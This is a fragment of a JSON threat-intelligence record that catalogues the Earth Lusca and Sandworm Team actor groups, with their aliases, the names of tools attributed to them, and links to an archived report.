			"id": "6abcc917-035c-4e9b-a53f-eaee636749c3",
			"created_at": "2022-10-25T16:07:23.565337Z",
			"updated_at": "2026-04-10T02:00:04.668393Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Bronze University",
				"Charcoal Typhoon",
				"Chromium",
				"G1006",
				"Red Dev 10",
				"Red Scylla"
			],
			"source_name": "ETDA:Earth Lusca",
			"tools": [
				"Agentemis",
				"AntSword",
				"BIOPASS",
				"BIOPASS RAT",
				"BadPotato",
				"Behinder",
				"BleDoor",
				"Cobalt Strike",
				"CobaltStrike",
				"Doraemon",
				"FRP",
				"Fast Reverse Proxy",
				"FunnySwitch",
				"HUC Port Banner Scanner",
				"KTLVdoor",
				"Mimikatz",
				"NBTscan",
				"POISONPLUG.SHADOW",
				"PipeMon",
				"RbDoor",
				"RibDoor",
				"RouterGod",
				"SAMRID",
				"ShadowPad Winnti",
				"SprySOCKS",
				"WinRAR",
				"Winnti",
				"XShellGhost",
				"cobeacon",
				"fscan",
				"lcx",
				"nbtscan"
			],
			"source_id": "ETDA",
			"reports": null
		},
		{
			"id": "d53593c3-2819-4af3-bf16-0c39edc64920",
			"created_at": "2022-10-27T08:27:13.212301Z",
			"updated_at": "2026-04-10T02:00:05.272802Z",
			"deleted_at": null,
			"main_name": "Earth Lusca",
			"aliases": [
				"Earth Lusca",
				"TAG-22",
				"Charcoal Typhoon",
				"CHROMIUM",
				"ControlX"
			],
			"source_name": "MITRE:Earth Lusca",
			"tools": [
				"Mimikatz",
				"PowerSploit",
				"Tasklist",
				"certutil",
				"Cobalt Strike",
				"Winnti for Linux",
				"Nltest",
				"NBTscan",
				"ShadowPad"
			],
			"source_id": "MITRE",
			"reports": null
		},
		{
			"id": "b3e954e8-8bbb-46f3-84de-d6f12dc7e1a6",
			"created_at": "2022-10-25T15:50:23.339976Z",
			"updated_at": "2026-04-10T02:00:05.27483Z",
			"deleted_at": null,
			"main_name": "Sandworm Team",
			"aliases": [
				"Sandworm Team",
				"ELECTRUM",
				"Telebots",
				"IRON VIKING",
				"BlackEnergy (Group)",
				"Quedagh",
				"Voodoo Bear",
				"IRIDIUM",
				"Seashell Blizzard",
				"FROZENBARENTS",
				"APT44"
			],
			"source_name": "MITRE:Sandworm Team",
			"tools": [
				"Bad Rabbit",
				"Mimikatz",
				"Exaramel for Linux",
				"Exaramel for Windows",
				"GreyEnergy",
				"PsExec",
				"Prestige",
				"P.A.S. Webshell",
				"AcidPour",
				"VPNFilter",
				"Neo-reGeorg",
				"Cyclops Blink",
				"SDelete",
				"Kapeka",
				"AcidRain",
				"Industroyer",
				"Industroyer2",
				"BlackEnergy",
				"Cobalt Strike",
				"NotPetya",
				"KillDisk",
				"PoshC2",
				"Impacket",
				"Invoke-PSImage",
				"Olympic Destroyer"
			],
			"source_id": "MITRE",
			"reports": null
		}
	],
	"ts_created_at": 1775434005,
	"ts_updated_at": 1775792229,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/de9dec0c6d2a7d17bc8d0327dd9de214104f13ec.pdf",
		"text": "https://archive.orkl.eu/de9dec0c6d2a7d17bc8d0327dd9de214104f13ec.txt",
		"img": "https://archive.orkl.eu/de9dec0c6d2a7d17bc8d0327dd9de214104f13ec.jpg"
	}
}